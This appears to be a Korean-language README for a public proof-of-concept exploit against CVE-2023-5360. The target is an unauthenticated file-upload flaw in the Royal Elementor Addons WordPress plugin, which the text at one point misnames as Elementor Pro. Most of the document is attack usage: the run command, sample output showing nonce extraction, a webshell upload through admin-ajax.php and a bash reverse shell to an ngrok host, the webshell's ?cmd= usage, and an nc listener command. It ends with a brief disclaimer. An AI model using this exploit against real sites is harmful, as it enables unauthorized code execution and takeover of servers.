
Royal Elementor Addons - 인증되지 않은 원격 코드 실행
Royal Elementor Addons and Templates WordPress 플러그인 1.3.79 이전 버전은 업로드된 파일을 적절히 검증하지 않아, 인증되지 않은 사용자가 PHP와 같은 임의의 파일을 업로드하여 RCE를 달성할 수 있습니다.
_______ ________
/ ____/ | / / ____/
/ / | | / / __/______
/ /___ | |/ /__/_____/
\____/ |___/_____/_____
|__ \ / __ \__ \|__ /
__/ // / / /_/ / /_ <
/ __// /_/ / __/___/ /
/____/\____/____/____/____
/ ____/__ // ___// __ \
/___ \ /_ </ __ \/ / / /
____/ /___/ / /_/ / /_/ /
/_____//____/\____/\____/
by X3RX3S
CVE-2023-5360에 대한 개념 증명 익스플로잇입니다. 이 취약점은 WordPress용 Elementor Pro의 파일 업로드 취약점으로, 인증되지 않은 공격자가 임의의 PHP 파일을 업로드하고 원격 코드 실행을 달성할 수 있습니다.
python3 CVE-2023-5360.py <https://victim.site/>
예시:
python3 CVE-2023-5360.py https://victim.site/
_______ ________
/ ____/ | / / ____/
/ / | | / / __/______
/ /___ | |/ /__/_____/
\____/ |___/_____/_____
|__ \ / __ \__ \|__ /
__/ // / / /_/ / /_ <
/ __// /_/ / __/___/ /
/____/\____/____/____/____
/ ____/__ // ___// __ \
/___ \ /_ </ __ \/ / / /
____/ /___/ / /_/ / /_/ /
/_____//____/\____/\____/
github.com/X3RX3SSec
by X3RX3S aka @mindfuckerrrr
[+] Target: https://victim.site
[+] Elementor page: https://victim.site)
[*] Step 1: Grabbing Elementor nonce...
[+] HTTP 200 received from target
[+] Nonce extracted: fdcb5015cd
[*] Step 2: Configure payload
[1] Simple command webshell
[2] Reverse shell (bash)
[?] Choose payload [1/2]: 2
[?] LHOST (your IP): 7.tcp.eu.ngrok.io
[?] LPORT (your PORT): 31337
[+] Reverse shell payload generated for 7.tcp.eu.ngrok.io:31337
[?] Start built-in listener? [Y/n]: Y
[+] Starting local listener on 7.tcp.eu.ngrok.io:31337...
[*] Attempt 1 of 3: Uploading payload via AJAX exploit...
[>] POST https://victim.site/wp-admin/admin-ajax.php
listening on [any] 31337 ...
[+] HTTP 200 from upload handler
[+] Shell uploaded: https://victim.site/wp-content/uploads/wpr-addons/forms/shell-6253.php
[*] Triggering reverse shell. Have your listener ready!
[+] Trigger sent (timeout is normal for reverse shell).
[+] Arrr! Cannons fired. Check your listener! 🏴☠️💣
페이로드 옵션:
?cmd=id 형식: https://victim.site/wp-content/uploads/wpr-addons/forms/shell.php?cmd=id)requests 모듈의존성 설치:
pip install requests
nc -lvnp 1337
이 익스플로잇은 교육 및 허가된 보안 테스트 용도로만 제공됩니다. 사용 방법에 대한 책임은 본인에게 있습니다. 소유하거나 테스트 권한이 있는 시스템에서만 테스트하십시오.
작성자: X3RX3S CVE-2023-5360